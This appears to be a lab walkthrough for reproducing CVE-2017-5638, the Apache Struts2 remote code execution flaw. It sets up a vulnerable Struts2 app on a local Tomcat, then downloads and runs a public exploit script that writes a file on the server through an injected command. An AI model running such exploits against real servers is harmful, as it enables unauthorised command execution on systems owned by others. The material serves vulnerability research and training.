#install tomcat
brew install tomcat

#confirm where the tomcat installed
ls -lF `which catalina`

#confirm tomcat home dir
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec

#create web app "struts2" in webapps of tomcat home
mkdir /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#get web app deployment file
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/struts2_2.3.15.1-showcase.war

#expand deployment file into the web app dir
brew install p7zip
7z x struts2_2.3.15.1-showcase.war -o/usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#confirm web app files
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#run tomcat
catalina run

#get exploit tool script
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/exploit-urllib2.py

#run exploit tool script
python exploit-urllib2.py http://192.168.11.5:8080/struts2/ "echo any command can be run > /tmp/yyy"

cat /tmp/yyy